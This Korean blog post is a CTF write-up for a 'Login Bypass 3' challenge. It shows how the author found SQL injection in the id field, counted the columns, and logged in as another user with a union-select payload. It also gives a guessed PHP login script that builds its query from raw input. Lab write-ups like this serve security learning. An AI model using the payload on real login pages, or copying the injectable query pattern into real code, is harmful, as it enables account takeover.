Notice
Recent Posts
Recent Comments
Link
| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | ||||||
| 2 | 3 | 4 | 5 | 6 | 7 | 8 |
| 9 | 10 | 11 | 12 | 13 | 14 | 15 |
| 16 | 17 | 18 | 19 | 20 | 21 | 22 |
| 23 | 24 | 25 | 26 | 27 | 28 | 29 |
| 30 |
Tags
- lord of sql injection
- 모의해킹
- Error based sql injection
- MySQL
- 문제 풀이
- 보안 패치
- sql injection point
- 웹 해킹
- 로그인
- file upload
- 과제
- CTF
- XSS
- cookie 탈취
- FridaLab
- 웹 개발
- Los
- union sql injection
- Python
- 로그인페이지
- 세션
- php
- 보고서
- blind sql injection
- JS
- csrf
- 게시판 만들기
- 웹개발
- sql injection
- 증적 사진
Archives
- Today
- Total
Almon Dev
ctf 풀이 (Login Bypass 3) 본문
ctf 문제풀이
Login Bypass 3

풀이
1> doldol / dol1234로 로그인해봅니다.


2> 리피터를 통해서 sql injection 확인해 보기
id는 sql injection이 가능하고, password는 불가능합니다.

3> sql injection을 통해 가져오는 컬럼 개수 확인해보기 (컬럼은 2개)
ex) UserId=doldol' order by 2 desc#


4> 로그인 코드 예상해 보기
$sql = "select password,nickname from member where id='$input_id'";
if( $input_pass == $db_pass ) {
// 로그인
}
5> normaltic3로 로그인해보기 (union 사용)
UserId=doldol'+union+select+'normaltic3',+'1234'+order+by+2+desc#&Password=1234&Submit=Login
union은 selct를 여러번 할때 결과를 합쳐서 하나의 테이블로 만들어줍니다.
=> 컬럼의 개수가 동일해야 합니다.
sql 예상
select nickname, password from member
where id='doldol'
union select 'normaltic3', '1234' order by 2 asc#'
예상 sql 결과
| index | 닉네임 | 비밀번호 |
| 0 | normaltic3 | 1234 |
| 1 | doldol | dol1234 |
order by 2 asc로 비밀번호를 기준으로 오름차순 정렬을 해서 normaltic3 닉네임이 위로 오게 만들었습니다.


로그인 php 코드 예상
<?php
$input_id = $_POST['UserId'];
$input_pass = $_POST['Password'];
$server_name = "localhost";
$username = "root";
$password = "";
$db_name = "test";
$conn = new mysqli($server_name, $username, $password, $db_name);
$sql = "select nickname, password from member where id='$input_id'";
$result = $conn->query($sql)->fetch_array(); // 첫번째 결과(row)를 받아옴
$db_pass = $result['password'];
$nickname = $result['nickname'];
if($input_pass == $db_pass) {
// 로그인 성공
echo $nickname;
}else {
// 로그인 실패
echo 'fail';
}'웹 해킹 > 웹 해킹(ctf)' 카테고리의 다른 글
| ctf 풀이 (SQL Injection 1) (1) | 2024.11.23 |
|---|---|
| ctf 풀이 (Pin Code Crack) (2) | 2024.11.20 |
| ctf 풀이 (admin is mine) (1) | 2024.11.19 |
| ctf 풀이 (Secret Login) (2) | 2024.11.18 |
| ctf 풀이 (Login Bypass 4) (0) | 2024.11.18 |